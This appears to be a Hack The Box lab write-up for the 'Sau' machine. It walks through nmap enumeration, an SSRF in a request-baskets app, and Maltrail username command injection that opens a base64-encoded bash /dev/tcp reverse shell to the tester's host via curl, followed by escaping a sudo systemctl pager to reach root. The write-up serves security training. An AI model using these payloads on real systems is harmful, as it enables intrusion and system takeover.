HTB Writeup - Sau
Enumeration
As usual, we start off with an nmap
scan:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 08 Sep 2024 01:01:14 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Sun, 08 Sep 2024 01:00:44 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Sun, 08 Sep 2024 01:00:45 GMT
|_ Content-Length: 0
We get a strange result, port 22 for remote administration via SSH and 55555 for some kind of HTTP server based on the response.
Viewing this port in the browser reveals there is a web application running there. It redirects to the /web
route. It looks like an unauthenticated application that allows for people to create baskets
for capturing and relaying HTTP requests. The app looks quite complex, we need to start burpsuite
early and look at all the requests and responses while interacting with the site.
Exploiting the web application
We are prompted initially to create a basket. We can click the button and we are granted a random code and a URL we can hit to log requests. For example, http://10.129.12.251:55555/9re79pd
Running a curl
at this endpoint produces the following:
curl -i -v http://10.129.12.251:55555/9re79pd
* Trying 10.129.12.251:55555...
* Connected to 10.129.12.251 (10.129.12.251) port 55555
> GET /9re79pd HTTP/1.1
> Host: 10.129.12.251:55555
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Mon, 09 Sep 2024 22:45:20 GMT
Date: Mon, 09 Sep 2024 22:45:20 GMT
< Content-Length: 0
Content-Length: 0
<
* Connection #0 to host 10.129.12.251 left intact
It gives a 200 OK
but no data returned and no interesting headers. Looking at the web application, we can see it is logging the requests and the headers of our calls.
Clicking on the cog icon in the top right gives us the ability to choose a Forward URL which might be an Server Side Request Forgery (SSRF) attack. An SSRF is in essence, getting the server to make a request on our behalf, potentially bypassing authentication based on request source, or bypassing firewall rules.
Firstly, we check the functionality even works. We can stand up a web server locally using python3
:
python3 -m http.server 9091
And we set up the Forward URL to be our host: http://10.10.14.82:9091
and then we send another curl
request to the endpoint we were given in our basket and we see our server hit:
python3 -m http.server 9091
Serving HTTP on 0.0.0.0 port 9091 (http://0.0.0.0:9091/) ...
10.129.12.251 - - [10/Sep/2024 08:49:50] "GET / HTTP/1.1" 200 -
The forwarding works. Now we can try and see what else exists on this host. I tried the default web port 80 and using Forward URL http://127.0.0.1:80
as well as ticking the box to Forward Response
and Expan Forward Path
first on the target machine and tried another curl
. This provides a HTML response body from the request so there is an SSRF vulnerability and we know something is running on port 80 on the host that we can’t get to from external.
The title in the returned HTTP HTML response is Maltrail, which upon Googling leads to this GitHub https://github.com/stamparm/maltrail
Exploiting Maltrail
Looking at this exploit, https://github.com/spookier/Maltrail-v0.53-Exploit/blob/main/exploit.py there is a command injection vulnerability due to a lack of sanitization on the username field. You can pass in a ;
followed by the command you want to run to the username parameter and get remote code execution. Based on this script, it seems like you need to do some base64 encoding to get past bad characters in the HTTP request.
This should be easy enough to replicate in curl
without the need for this python3
script. First, we generate the payload required for the reverse shell:
echo "bash -c 'exec bash -i &>/dev/tcp/10.10.14.82/4444 <&1 '" | base64 -w 0
Note the use of spaces in the payload in strategic places to remove +
and =
characters which might interfere in a web request.
curl http://10.129.229.26:55555/tfvujy4/login --data 'username=;`echo+\"YmFzaCAtYyAnZXhlYyBiYXNoIC1pICAmPi9kZXYvdGNwLzEwLjEwLjE0LjgyLzQ0NDQgPCYxICcK\"+|+base64+-d+|+sh`'
Also note that for this to work with the proxy, it needs to have the Expand Forward Path
set at least.
We can capture the resultant shell using rlwrap
and nc
:
rlwrap nc -lnvp 4444
We arrive on the machine as the puma
user:
listening on [any] 4444 ...
connect to [10.10.14.82] from (UNKNOWN) [10.129.229.26] 54368
bash: cannot set terminal process group (875): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$ whoami
whoami
puma
puma@sau:/opt/maltrail$ hostname
hostname
sau
Privilege Escalation from puma
Running sudo -l
as puma
reveals:
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
The puma
user can run systemctl status
for a particular service. We can simply look up on GTFOBins whether sudo
privileges for this service allows escalation. Section C of https://gtfobins.github.io/gtfobins/systemctl/#sudo suggests that the default pager for this command will be less
which when run as sudo can be escaped to a shell using !sh
. Because we’re in a bit of a weird shell anyway, running the command will trigger the pager, but look a bit hung, and we can run !sh
and get a shell:
puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)!sh
!sshh!sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
It was an unexpected success that a byproduct of the bash
reverse shell lets this work first go. I thought I’d have to go the long way around, get a full shell and shrink the size to trigger less
. We can now collect the flags and complete the machine.